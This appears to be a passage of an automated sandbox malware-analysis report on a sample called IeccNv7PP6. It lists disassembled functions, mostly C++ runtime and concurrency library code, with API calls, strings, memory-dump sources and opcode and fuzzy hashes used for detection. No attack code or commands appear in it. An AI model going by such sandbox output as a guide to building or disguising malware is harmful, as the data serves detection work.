Instruction ID: 0dfe4b91b17fca29e91fbe1ee06f4a4a2df34707d6a261af2a3e5670f24271a8
Opcode Fuzzy Hash: e4f9fab13c1926d2e81b23feee93bab4e40d19f09818ad509d0e3559ff61ead6
Instruction Fuzzy Hash: 34F0A07460010EBBCF10EFA5DE45EEF37686B00705F600656B514E20E1DA78DA149768

Function 04642878 Relevance: 6.0, APIs: 4, Instructions: 29registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,00000000,004235B2,000000A4,000000FF,0000000C), ref: 0464288F
GetLastError.KERNEL32(?,?,?,?,04648850,?,?,?,?,00000000,?,00000000), ref: 0464289E
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 046428B4
__CxxThrowException@8.LIBVCRUNTIME ref: 046428C2

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastObjectRegisterSingleThrowWait
String ID:
API String ID: 3803302727-0
Opcode ID: e4f9fab13c1926d2e81b23feee93bab4e40d19f09818ad509d0e3559ff61ead6
Instruction ID: 9d124fe69ddaa193accbe3ef96af8bb485886085746c6018299939a14a8d3264
Opcode Fuzzy Hash: e4f9fab13c1926d2e81b23feee93bab4e40d19f09818ad509d0e3559ff61ead6
Instruction Fuzzy Hash: 40F0E53450020AFBDF00FFA4CD44EAF3B78AB00755F200659B614E21E0EB34E71497A8

Function 04635A8C Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

std::_Cnd_initX.LIBCPMT ref: 04635AA8
__Cnd_signal.LIBCPMT ref: 04635AB4
std::_Cnd_initX.LIBCPMT ref: 04635AC9
__Cnd_do_broadcast_at_thread_exit.LIBCPMT ref: 04635AD0

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Cnd_initstd::_$Cnd_do_broadcast_at_thread_exitCnd_signal
String ID:
API String ID: 2059591211-0
Opcode ID: 16e91ae191353f76377487b504f8ad98fae09f0c97f906459e9bfe3258fa4ce0
Instruction ID: d04f7fc7407b8fa718bdc50674cc15e32d6d96757fbfcc0e15badbab0c27ba12
Opcode Fuzzy Hash: 16e91ae191353f76377487b504f8ad98fae09f0c97f906459e9bfe3258fa4ce0
Instruction Fuzzy Hash: 92F0A072400781ABFB317B20C80579A77A0AF4072EF14441DD1965A9A0EFBAF8459659

Function 00412336 Relevance: 6.0, APIs: 4, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCreateEventExW.LIBCPMT ref: 0041234C
GetLastError.KERNEL32(?,?,?,?,?,00410B59), ref: 0041235A
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00412370
__CxxThrowException@8.LIBVCRUNTIME ref: 0041237E

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorEventException@8LastThrow___crt
String ID:
API String ID: 200240550-0
Opcode ID: 8f1a4222a24bf13f64463e6bb6d09cdc0fcbd04c53ea7d81c6ce3fbd118b929d
Instruction ID: f5537a877189a90aa28975f9b1b11099a3717870695f97e2c6136de35ce4b3b1
Opcode Fuzzy Hash: 8f1a4222a24bf13f64463e6bb6d09cdc0fcbd04c53ea7d81c6ce3fbd118b929d
Instruction Fuzzy Hash: ADE0D871A0021E29E720B7768D07FBF369C6B00B45F54086BBD14E11C3FDACD61041AC

Function 0464259D Relevance: 6.0, APIs: 4, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCreateEventExW.LIBCPMT ref: 046425B3
GetLastError.KERNEL32(?,?,?,?,?,04640DC0), ref: 046425C1
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 046425D7
__CxxThrowException@8.LIBVCRUNTIME ref: 046425E5

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorEventException@8LastThrow___crt
String ID:
API String ID: 200240550-0
Opcode ID: 8f1a4222a24bf13f64463e6bb6d09cdc0fcbd04c53ea7d81c6ce3fbd118b929d
Instruction ID: d96e1962f3897210e385320a1c80e2198fde4b8c31f87089aedd81455ab29d72
Opcode Fuzzy Hash: 8f1a4222a24bf13f64463e6bb6d09cdc0fcbd04c53ea7d81c6ce3fbd118b929d
Instruction Fuzzy Hash: 96E02061A0031939FB14B7754C22F7F369C9B00A86F640859FE14E21C1FD98F50041BC

Function 004192E9 Relevance: 6.0, APIs: 4, Instructions: 26memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00412712: TlsAlloc.KERNEL32(?,00410B59), ref: 00412718

TlsAlloc.KERNEL32(?,00410B59), ref: 0042399F
GetLastError.KERNEL32 ref: 004239B1
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004239C7
__CxxThrowException@8.LIBVCRUNTIME ref: 004239D5

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Alloc$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3735082963-0
Opcode ID: 90a75019d660bb7e4688d3e898997b6e923421556ddb8c6bd1ae311c324a1122
Instruction ID: 6dd5cecd5731d0fd3396096e4a73a475127880a88571f9a1564212530dcc10d0
Opcode Fuzzy Hash: 90a75019d660bb7e4688d3e898997b6e923421556ddb8c6bd1ae311c324a1122
Instruction Fuzzy Hash: C9E02BF45003245EC310BF72AD4A66F3274790170AB600E2BF015D2192EEBCD1844A9C

Function 04649550 Relevance: 6.0, APIs: 4, Instructions: 26memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04642979: TlsAlloc.KERNEL32(?,04640DC0), ref: 0464297F

TlsAlloc.KERNEL32(?,04640DC0), ref: 04653C06
GetLastError.KERNEL32 ref: 04653C18
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 04653C2E
__CxxThrowException@8.LIBVCRUNTIME ref: 04653C3C

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Alloc$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3735082963-0
Opcode ID: 90a75019d660bb7e4688d3e898997b6e923421556ddb8c6bd1ae311c324a1122
Instruction ID: 7fb1f7c27f0e93164385061f528742c4e39b47a4ec9e459c4c5b405e6eb7b76a
Opcode Fuzzy Hash: 90a75019d660bb7e4688d3e898997b6e923421556ddb8c6bd1ae311c324a1122
Instruction Fuzzy Hash: F2E09BB4400315AAE700BBB5AC4856A3664A601A89B200E6EBD55D22B0FD34F195465D

Function 0041254D Relevance: 6.0, APIs: 4, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(?,00000000,?,00410B59,?,?,?,00000000), ref: 00412557
GetLastError.KERNEL32(?,?,?,00000000), ref: 00412566
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0041257C
__CxxThrowException@8.LIBVCRUNTIME ref: 0041258A

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8HighestLastNodeNumaNumberThrow
String ID:
API String ID: 3016159387-0
Opcode ID: 90c6f96075c9eb6d4a06c4afc3ce6f74b9e2c23d697b5ba2851b3fb9f8cfd27c
Instruction ID: 951ac86653187ea2db5183bbef748415e33b6f8be8890effbe132357fd44ea8b
Opcode Fuzzy Hash: 90c6f96075c9eb6d4a06c4afc3ce6f74b9e2c23d697b5ba2851b3fb9f8cfd27c
Instruction Fuzzy Hash: 69E04874A0010DABC714EFB5DF49AEF73BC7A00A45FA00466A501E2151EA6CDB04977D

Function 046427B4 Relevance: 6.0, APIs: 4, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(?,00000000,?,04640DC0,?,?,?,00000000), ref: 046427BE
GetLastError.KERNEL32(?,?,?,00000000), ref: 046427CD
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 046427E3
__CxxThrowException@8.LIBVCRUNTIME ref: 046427F1

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8HighestLastNodeNumaNumberThrow
String ID:
API String ID: 3016159387-0
Opcode ID: 90c6f96075c9eb6d4a06c4afc3ce6f74b9e2c23d697b5ba2851b3fb9f8cfd27c
Instruction ID: 5936d0443b18305074536048abd36f914d28da293bedbf95a28fcf3d158225fc
Opcode Fuzzy Hash: 90c6f96075c9eb6d4a06c4afc3ce6f74b9e2c23d697b5ba2851b3fb9f8cfd27c
Instruction Fuzzy Hash: CCE04874500109A7DB00FBB59D45AAF73BC6A00A45B7004A5B505E3150FA64E7049779

Function 004126A5 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

SetThreadPriority.KERNEL32(?,?), ref: 004126B1
GetLastError.KERNEL32 ref: 004126BD
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004126D3
__CxxThrowException@8.LIBVCRUNTIME ref: 004126E1

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastPriorityThreadThrow
String ID:
API String ID: 4286982218-0
Opcode ID: a89e8ca6049c9b6ec2fd05d368a3b84ec4fd3d7342a975297e58808702deda3e
Instruction ID: d6ad487b4c18070c6cf6a1f44c15ecb3f6d05e9c3d6252d545de6a15e1df0045
Opcode Fuzzy Hash: a89e8ca6049c9b6ec2fd05d368a3b84ec4fd3d7342a975297e58808702deda3e
Instruction Fuzzy Hash: BBE086746001196BCB24BF61DE06BFF376C7B00745F50082BB515D50A1EF7DD56486AC

Function 0041276B Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(?,00000000,00417991,00000000,?,?,00410B59,?,?,?,00000000,?,00000000), ref: 00412777
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00412783
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00412799
__CxxThrowException@8.LIBVCRUNTIME ref: 004127A7

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrowValue
String ID:
API String ID: 1964976909-0
Opcode ID: aac3effd464d41b8a5b5f51f1256ba0c29368646bc02732cdbcc67f1fe2b72fc
Instruction ID: 402fe0f5bbe0f151a29ab6283833ac733f3ad497baf8671b47c41dc8f6c9e06d
Opcode Fuzzy Hash: aac3effd464d41b8a5b5f51f1256ba0c29368646bc02732cdbcc67f1fe2b72fc
Instruction Fuzzy Hash: F7E086746001196BDB20BF65DE09BFF37AC7F00745F50082AB515D50A1EE7DD564869C

Function 0464290C Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

SetThreadPriority.KERNEL32(?,?), ref: 04642918
GetLastError.KERNEL32 ref: 04642924
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0464293A
__CxxThrowException@8.LIBVCRUNTIME ref: 04642948

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastPriorityThreadThrow
String ID:
API String ID: 4286982218-0
Opcode ID: a89e8ca6049c9b6ec2fd05d368a3b84ec4fd3d7342a975297e58808702deda3e
Instruction ID: c3fcf1bfd25d7a77be06b0c3b0894cf6f8c1c8cc86a3f70b98c18e87698a09c3
Opcode Fuzzy Hash: a89e8ca6049c9b6ec2fd05d368a3b84ec4fd3d7342a975297e58808702deda3e
Instruction Fuzzy Hash: 56E08634100119B7DF14BFA1DC05BBB37ACBB00685F600869B919D21A0FA35E114866C

Function 046429D2 Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(?,00000000,04647BF8,00000000,?,?,04640DC0,?,?,?,00000000,?,00000000), ref: 046429DE
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 046429EA
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 04642A00
__CxxThrowException@8.LIBVCRUNTIME ref: 04642A0E

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrowValue
String ID:
API String ID: 1964976909-0
Opcode ID: aac3effd464d41b8a5b5f51f1256ba0c29368646bc02732cdbcc67f1fe2b72fc
Instruction ID: 514ff98e959a2a4700c44710e2f039e554297cef75ae6fe16a3770c2c6646de2
Opcode Fuzzy Hash: aac3effd464d41b8a5b5f51f1256ba0c29368646bc02732cdbcc67f1fe2b72fc
Instruction Fuzzy Hash: 79E08634100119B7EF10BFA5DC19BBB376CAF00685F604969B919D21B0FB35E114969C

Function 00412712 Relevance: 6.0, APIs: 4, Instructions: 21memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,00410B59), ref: 00412718
GetLastError.KERNEL32 ref: 00412725
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0041273B
__CxxThrowException@8.LIBVCRUNTIME ref: 00412749

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3103352999-0
Opcode ID: ee2646b63a6430665b3080167d3f8e46aee4a193fb16d21d2dbfdc4c253f15bc
Instruction ID: 41d26ccb9910f396398e3bce7d3f30876e3ac6ee5b10193dd838f65c512c27a9
Opcode Fuzzy Hash: ee2646b63a6430665b3080167d3f8e46aee4a193fb16d21d2dbfdc4c253f15bc
Instruction Fuzzy Hash: F8E0C274500119678728BB759E0AABF73687A01759BA00A6BF031D20E1EEACD45842AC

Function 04642979 Relevance: 6.0, APIs: 4, Instructions: 21memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,04640DC0), ref: 0464297F
GetLastError.KERNEL32 ref: 0464298C
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 046429A2
__CxxThrowException@8.LIBVCRUNTIME ref: 046429B0

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3103352999-0
Opcode ID: ee2646b63a6430665b3080167d3f8e46aee4a193fb16d21d2dbfdc4c253f15bc
Instruction ID: d62df7f0a16be62df986459d9ff964062df04f9b81acec188edae7c6fc840dfc
Opcode Fuzzy Hash: ee2646b63a6430665b3080167d3f8e46aee4a193fb16d21d2dbfdc4c253f15bc
Instruction Fuzzy Hash: A0E0C230000116A7DB14BBB5AC48A7B73686A017AAB700E6AF465D31E0FA68E11842AC

Function 0042F09D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0042F12D

Strings

pow, xrefs: 0042F105, 0042F122

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: cb57d0990ecd4e157a276670056fa63ecf5c6ef3cb6d4436f05d56c4fa4236c6
Instruction ID: ab4d94818e4fdfc694d7abd88a5ac0d422e49d456205366947d10b0b41845edd
Opcode Fuzzy Hash: cb57d0990ecd4e157a276670056fa63ecf5c6ef3cb6d4436f05d56c4fa4236c6
Instruction Fuzzy Hash: CA518D61B04202D6CB117714E90137BABB0EB54B10FE4597FF491463A9EE2E8CA99A4F

Function 0043AE89 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,0043B0E4,?,00000050,?,?,?,?,?), ref: 0043AF64

Strings

OCP, xrefs: 0043AEDD
ACP, xrefs: 0043AEA7

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: 3d3d09a8c43a337bc5f8b6bf8185eed6c30071c5532ceeb821c98544ef4eef7c
Instruction ID: 994420f7c07a265647d1fb29ceaf4862ceaaa8a779cd6f75aafce353e6124497
Opcode Fuzzy Hash: 3d3d09a8c43a337bc5f8b6bf8185eed6c30071c5532ceeb821c98544ef4eef7c
Instruction Fuzzy Hash: 122108A2BC0101A6EB30DB14C90279B7266EF6CB10F569527E98AD7340E73ADD11C35E

Function 0466B0F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,0466B34B,?,00000050,?,?,?,?,?), ref: 0466B1CB

Strings

ACP, xrefs: 0466B10E
OCP, xrefs: 0466B144

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: 3d3d09a8c43a337bc5f8b6bf8185eed6c30071c5532ceeb821c98544ef4eef7c
Instruction ID: 80dd41df502718974ee6a8182c17aff1ad109f5048188c8884dee321033210f4
Opcode Fuzzy Hash: 3d3d09a8c43a337bc5f8b6bf8185eed6c30071c5532ceeb821c98544ef4eef7c
Instruction Fuzzy Hash: 49216062B40124F6EB248E549D01B97F39AEB64F55F468564ED0BD7308F732F901CA94

Function 00401F26 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 00401F41
GdipGetImageEncoders.GDIPLUS(?,?,00000000), ref: 00401F66

Strings

image/png, xrefs: 00401F74

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: EncodersGdipImage$Size
String ID: image/png
API String ID: 864223233-2966254431
Opcode ID: 896ca310b2d930f63a5eabfafad02fd990c57be0705be7f150b4b226794c9691
Instruction ID: 499c26c8a42b7bd5ccc1bf70bc14c74cf5c012d897e463d4ef063c4de499c351
Opcode Fuzzy Hash: 896ca310b2d930f63a5eabfafad02fd990c57be0705be7f150b4b226794c9691
Instruction Fuzzy Hash: 73119176D0410ABFCB019FA9988189EBB76EE41321B60027BE810B32A0C7795E559A58

Function 0463F1B2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000D,?,0463E0CD,0463C8E5,?,?,00000000,?,0463C7B5,0045D5E4,0040C51B,0045D5DC,?,ios_base::failbit set,0463C8E5), ref: 0463F236

Strings

11@, xrefs: 0463F1D2, 0463F21C

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: 11@
API String ID: 1452528299-1785270423
Opcode ID: 28a02ce365c990727b7b4e8bf51613b6bc71088fada4a4c5b2d2716d252c928d
Instruction ID: 9e0c9f32bd4fae4d26092f1cf79d9ed7d8eb66bf76415cfd539f040fc09c07fe
Opcode Fuzzy Hash: 28a02ce365c990727b7b4e8bf51613b6bc71088fada4a4c5b2d2716d252c928d
Instruction Fuzzy Hash: 6511823A700256EFCF1A9FA4DC5496ABB65FF09716F004039F91596210EAB1A8119BA0

Function 0464DB74 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04640F85: RtlEnterCriticalSection.NTDLL ref: 04640F86

List.LIBCONCRT ref: 0464DBCF

Strings

+$D, xrefs: 0464DB76
11@, xrefs: 0464DBAE, 0464DBF6

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: CriticalEnterListSection
String ID: +$D$11@
API String ID: 2909958271-3688954461
Opcode ID: 202ad810f09b455ae9d35922495593e33a197e3d39888fc6707643b4f93c0e82
Instruction ID: 3ee1f482abb2022a6da4b8f1d391f1b5eb6074afb4df7227bce90fd00c5d9449
Opcode Fuzzy Hash: 202ad810f09b455ae9d35922495593e33a197e3d39888fc6707643b4f93c0e82
Instruction Fuzzy Hash: 43213D79A00219CFCF44EF68C5849ADB7B1FF88314B158469E906EB351DB70EA45CF94

Function 00410EB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00410ECE
_SpinWait.LIBCONCRT ref: 00410F04

Strings

11@, xrefs: 00410EEE, 00410F1F

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: SpinWait
String ID: 11@
API String ID: 2810355486-1785270423
Opcode ID: 29a75abf41ee9a1be823ea049822ab3759e986b0ee5abe1ab6e190251c7ebecc
Instruction ID: 2c89d4891b65b71c58f4df53b819bdc9dd2f83fb67093c95cbfc0296fa784990
Opcode Fuzzy Hash: 29a75abf41ee9a1be823ea049822ab3759e986b0ee5abe1ab6e190251c7ebecc
Instruction Fuzzy Hash: 2001B5315147228FCA355F3AE5197ABBBD1EB01721B14892FE05683764C6E9DCC2CB88

Function 0464111F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 04641135
_SpinWait.LIBCONCRT ref: 0464116B

Strings

11@, xrefs: 04641155, 04641186

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: SpinWait
String ID: 11@
API String ID: 2810355486-1785270423
Opcode ID: 29a75abf41ee9a1be823ea049822ab3759e986b0ee5abe1ab6e190251c7ebecc
Instruction ID: afc297636494fedb196d582a0de536856c88c651ab90d7f034ce44f3d895524d
Opcode Fuzzy Hash: 29a75abf41ee9a1be823ea049822ab3759e986b0ee5abe1ab6e190251c7ebecc
Instruction Fuzzy Hash: CE01B531A106229FCF259F39D91C6E6BBD0EB93721F04852DD05683B65E661F9C1CB80

Function 004353E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,23E85006,00000001,?,?), ref: 00435451

Strings

11@, xrefs: 0043542D
LCMapStringEx, xrefs: 004353F1, 004353FB

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: String
String ID: 11@$LCMapStringEx
API String ID: 2568140703-3516914342
Opcode ID: e8517c0d616e0df9a4033924f494529b67a61b9f75405e460d1b1d91209c0164
Instruction ID: 91de7e3331bdbfbcb41da95f7e05f6e44d66f1f0f0f9d36e296516fe988f38a3
Opcode Fuzzy Hash: e8517c0d616e0df9a4033924f494529b67a61b9f75405e460d1b1d91209c0164
Instruction Fuzzy Hash: 2B014C32540209BBCF069F90CD06EEE7FA2EF1C755F148166FE0425161C6BA8931EF89

Function 0040C535 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 0040C579

Strings

ios_base::failbit set, xrefs: 0040C535
f(@, xrefs: 0040C56C

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: f(@$ios_base::failbit set
API String ID: 4194217158-3705395444
Opcode ID: d500ab467568cc089f2f810d33affd2ebfdf54b471f9d9af73e546eb9498b0b3
Instruction ID: dc76fbcea74a86ab5df7bd62cc1bfab07110206e2b1f370d9d208192458b19b9
Opcode Fuzzy Hash: d500ab467568cc089f2f810d33affd2ebfdf54b471f9d9af73e546eb9498b0b3
Instruction Fuzzy Hash: 2BF0B4B2A0022836D2202A56BC41B92F7CC8F40B68F10443FFD04A7682EAF8A94541A8

Function 0464DC92 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0464DCDA
__CxxThrowException@8.LIBVCRUNTIME ref: 0464DCE8

Strings

11@, xrefs: 0464DCAB, 0464DCC1

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: 11@
API String ID: 1687795959-1785270423
